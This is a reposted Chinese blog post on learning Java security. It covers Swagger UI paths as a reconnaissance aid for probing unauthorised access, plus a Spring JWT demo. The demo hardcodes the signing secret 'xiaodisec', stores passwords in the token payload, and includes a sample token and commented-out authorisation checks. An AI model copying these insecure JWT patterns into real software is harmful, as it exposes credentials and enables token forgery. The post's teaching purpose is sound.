    3.    2.X版本启动需要注释@EnableSwagger2 3版本不需要注释

    4.    2.X访问路径:http://ip:port/swagger-ui.html

        3.X访问路径:http://ip:port/swagger-ui/index.html

这接口我们可以看作是信息收集工具,帮我看多更多的接口,我们可以对未授权访问、信息泄露等做安全漏洞的测试(换句话说就是我们看到哪些接口就对哪些接口进行漏洞测试)

我们可以利用postman中的API做自动化测试。

身份验证——JWT

JWT(JSON WebToken)是由服务端用加密算法对信息签名来保证其完整性和不可伪造;Token里可以包含所有必要信息,这样服务端就无需保存任何关于用户或会话的信息;JWT用于身份认证、会话维持等。由三部分组成,header、payload与signature。

导入依赖:

<dependency>

<groupId>com.auth0</groupId>

<artifactId>java-jwt</artifactId>

<version>3.4.0</version>

</dependency>
package cn.xiaodi.testjwt.demos.web;

import com.auth0.jwt.JWT;
import com.auth0.jwt.JWTVerifier;
import com.auth0.jwt.algorithms.Algorithm;
import com.auth0.jwt.interfaces.DecodedJWT;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class JwtController {
    //模拟用户的jwt身份创建 数据的jwt加密

    @PostMapping("/jwtcreate")
    @ResponseBody
    public static String main(Integer id,String user,String pass) {
        String jwttoken = JWT.create()
                //设置创建的header部分
                //.withHeader()

                //设置创建的payload部分
                .withClaim("userid", id)
                .withClaim("username", user)
                .withClaim("password", pass)
                //设置时效(JWT过期时间)
                //.withExpiresAt()

                //创建设置的signature部分 算法和密匙
                .sign(Algorithm.HMAC256("xiaodisec"));

        System.out.println(jwttoken);
        return jwttoken;
    }

    //模拟JWT身份的检测 jwt数据解密

    @PostMapping("/jwtcheck")
    @ResponseBody
    public static String  jwtcheck(String jwtdata){
        //String jwtdata="eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJwYXNzd29yZCI6ImExMjM0NTYiLCJ1c2VyaWQiOjEsInVzZXJuYW1lIjoiYWRtaW4ifQ.nkMIxHJKyGAHa3aDtTAy5_9j51yWDTQHEL8n-dqE33w";

        //构建解密注册
        JWTVerifier jwt = JWT.require(Algorithm.HMAC256("xiaodisec")).build();

        //解密注册数据
        DecodedJWT verify = jwt.verify(jwtdata);

        //提取注册解密数据 payload部分
        Integer userid = verify.getClaim("userid").asInt();
        String username=verify.getClaim("username").asString();
        String password=verify.getClaim("password").asString();

        System.out.println(userid+username+password);
        return "admin page";

//        if(username.equals("admin")){
//            return "admin";
//        }else {
//            return "gay?";
//        }

        //攻击者要模拟使用xiaodi用户去登录

        //提取header部分
        //verify.getHeader();
        //提取sign签名部分
        //verify.getSignature();

    }

}

注意:signature部分不仅仅与密钥有关,还与用户名相关;所有用户采用同一个密钥,signature部分也都不相同。

项目打包成JAR

对于jar包中是编译后的.class文件,如果我们拿到jar包想要查看源码,可以把jar包解压缩,然后直接使用idea打开即可反编译。

标签: java 安全 学习

本文转载自: https://blog.csdn.net/weixin_65049289/article/details/136401683
版权归原作者 凌晨四点半sec 所有, 如有侵权,请联系我们删除。

“JAVA开发(从安全角度学习)”的评论:

还没有评论